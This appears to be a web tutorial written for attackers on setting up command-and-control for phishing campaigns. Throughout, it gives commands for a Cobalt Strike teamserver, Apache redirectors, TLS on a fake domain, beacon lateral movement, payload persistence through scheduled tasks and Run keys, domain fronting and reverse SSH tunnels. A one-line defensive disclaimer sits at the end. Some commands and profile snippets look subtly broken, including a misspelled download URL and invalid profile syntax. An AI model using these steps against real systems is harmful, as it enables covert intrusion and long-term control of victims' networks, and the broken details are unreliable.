When launching phishing campaigns, establishing effective command and control (C2) is crucial for an attacker’s continued access and manipulation of compromised systems. This element defines the sophistication and success rate of not just maintaining persistence within a target’s network, but also coordinating systematic reconnaissance and exploitation efforts post click. What sets a high-yield attack apart is its ability to remain undetected, employ evasive techniques, and integrate seamlessly within the target’s operational environment.
By the end of this article, you will be equipped to construct resilient C2 structures, utilizing a range of methodologies relevant to current attack landscapes. From infrastructure setup to techniques such as domain fronting and covert communication channels, this guide will focus on practices that enhance your deceptive capabilities and ensure continuous engagement with infiltrated systems.
Prerequisites and Setup
Prior to orchestrating a phishing campaign’s command and control, ensure you have a solid understanding of the tools and environments required. Key tools include Cobalt Strike, Sliver, or Havoc for managing callbacks. Each of these frameworks offers unique capabilities tailored for sophisticated C2 operations.
Start by setting up a dedicated command and control server, ideally on a VPS with a reliable cloud provider. This server acts as the brain of the operations, managing compromised hosts and routing communications. Ensure that your network architecture is robust by using redirectors, which obfuscate the origin of C2 traffic and help avoid detection. This can be achieved by configuring HTTP/S proxies or using tools such as Apache Mod_Rewrite or HAProxy.
Installation and configuration begin with acquiring a server and a domain. Set up an HTTPS server to encrypt communications between compromised hosts and the C2 server. Utilize Let’s Encrypt certificates for TLS encryption, which adds another layer of validation and secrecy.
# Install Cobalt Strike
wget http://cobaltstrike-trial.download/colbaltstrike-trial.tgz
tar -xvf colbaltstrike-trial.tgz
cd cobaltstrike
./teamserver my-ip-address my-strong-password
# Setup Apache as a redirector
sudo apt-get update
sudo apt-get install apache2
sudo a2enmod rewrite
sudo service apache2 restart
# Configure virtual host
sudo nano /etc/apache2/sites-available/000-default.conf
<VirtualHost *:80>
ServerName fake-site.com
ProxyPreserveHost On
ProxyPass / http://c2-server-ip:12345/
ProxyPassReverse / http://c2-server-ip:12345/
</VirtualHost>
This setup download and installs Cobalt Strike and configures Apache for redirecting traffic, masking the true C2 origin while serving requests under a legitimate-looking domain.
Step-by-Step Execution
Configuring Secure Communication Channels
Begin by ensuring secure and reliable communication channels between compromised machines and your C2 infrastructure. The aim is to use legitimate-looking traffic patterns to avoid detection by standard security measures.
# Lets Encrypt SSL Setup
sudo apt-get install certbot python3-certbot-apache
sudo certbot --apache -d fake-site.com
# Configure Cobalt Strike
profiles/http.stager {
set host "https://fake-site.com"
set stage.block "HTTP/1.1 200 OK"
}
This example demonstrates the installation of Let’s Encrypt to secure your C2 traffic and shows how to configure Cobalt Strike to emulate legitimate web traffic. The profile configuration helps disguise malicious data packets as common web requests.
Establishing Lateral Movement
Moving within a Compromised Network
Once the initial foothold is achieved, it’s imperative to extend your control within the network. This involves leveraging internal systems to pivot and gain access to additional resources.
# Setup SSH Tunneling
ssh -L 8080:internal-resource:80 user@compromised-host
# Utilize native tools
wmic logicaldisk get name | findstr "C:"
# Deploying additional payloads via Cobalt Strike
beacon> shell -b 192.168.1.10
beacon> invoke-command -computername 192.168.1.20 -scriptblock {Start-Process notepad.exe}
This sequence uses SSH Tunneling to access restricted internal resources and commands
to extract drive information, illustrating typical methods of gathering intelligence for lateral movement. Employing native tools reduces the chance of detection by standard AV solutions due to their usual activities within the network.
Maintaining Persistence
Ensuring Continuous Access
The final step in C2 establishment involves persistence techniques to maintain long-term access. This can involve creating scheduled tasks, using registry modifications, or leveraging legitimate services to relaunch backdoors after reboot.
# Persistence via Scheduled Tasks
schtasks /create /tn "UpdateApp" /tr "powershell -exec bypass -file C:\path\to\payload.ps1" /sc minute /mo 15 /ru system
# Registry Modification for Persistence
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v UpdateApp /t REG_SZ /d "C:\path\to\payload.exe" /f
This snippet shows how to set up a scheduled task using Windows Task Scheduler and modify the registry to ensure payloads persist beyond system reboots. These methods aggressively emulate normal user-level tasks while embedding malicious scripts for long-term access.
Advanced Variations
Domain Fronting for Evasion
Domain fronting involves routing traffic through legitimate cloud provider domains to obscure the true destination of C2 traffic. It enhances evasion capabilities by masking traffic as normal operations in the cloud ecosystem.
# Configure for Domain Fronting
# Cobalt Strike
set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0"
http-get {
set uri "/mswepf/login"
set host "cloudfront.net" # uses CloudFront to mask request
}
# run beacon payload
./c2lint.py --profile profiles/http.profile --debug
By altering the host fields and applying known cloud service provider domains for handling requests, domain fronting ensures traffic appears to be originating from legitimate sources.
Encrypted Callback Channels
Implement communication encryption between the C2 infrastructure and compromised machines, using dual SSH encryption for heightened concealment.
# Setting up SSH Reverse Proxy
ssh -R 12345:localhost:80 user@c2-server-ip
# Dual Layer encryption
openvpn --config client.ovpn --rport 443 --proto tcp
This technique leverages both SSH reverse proxies and OpenVPN tunnels to create secure and encrypted channels, making detecting anomalous activities by network security appliances significantly harder.
Good / Better / Best
Good: Basic deployment of C2 server with HTTP unencrypted callbacks. While this setup may be functional, it’s vulnerable to detection due to clear text communication.
# Basic C2 Server Setup
./teamserver my-ip basicpass
profile/http_get_server {
set uri "/msg"
set verb "GET"
}
This example represents a rudimentary setup offering little protection against data interception.
Better: Utilize AWS S3 as a redirector with encrypted communication channels. This includes the use of TLS to secure data transit, enhancing plausible deniability.
# Using AWS Redirector
aws s3 ls s3://my-bucket --endpoint-url https://s3.amazonaws.com
# Secure C2 Server
https-get {
set uri "/secure/login"
}
This configuration improves data security by encrypting routine communications and embedding requests in legitimate, trusted services.
Best: Implement multi-layered domain fronting via major cloud platforms (like Google or Cloudflare) along with advanced obfuscation tactics, commingling traffic types commonly observed in corporate environments.
# Advanced Domain Fronting
http-get {
set uri "/secure/index"
set host "app.example.com.cloudflare" # disguised under Cloudflare
}
This approach not only secures communication but also intelligently blends malicious traffic with typical corporate traffic patterns, significantly increasing campaign longevity and effectiveness.
Related Concepts
The strategies and frameworks discussed here overlap significantly with other attack vector methodologies, such as social engineering and network pivots. Understanding C2 techniques is essential for effectively managing large-scale engagements where compromised systems require long-term sustainability. Additionally, leveraging tactics like HTTP request smuggling can further enhance the stealthy nature of commands transmitted during active operations. For more nuanced insights, exploring lateral movement techniques and the interplay of different network layers will broaden one’s tactical repertoire.
References
- SANS Internet Storm Center Diary
- Cobalt Strike Installation Guide
- Let’s Encrypt Documentation
- Imperva on Domain Fronting
Related Reading
- Principles of Command and Control in Phishing Campaigns
- Effective Campaign Management in Phishing: Coordinating Multi-Stage Operations
- Atomic MacOS (AMOS) Stealer: In-Depth Analysis of Recent Infection Patterns
- What is Command Injection in Phishing?
Educational Purpose: This content is provided for awareness and defensive purposes only. Understanding attacker methodologies helps individuals and organizations protect themselves.

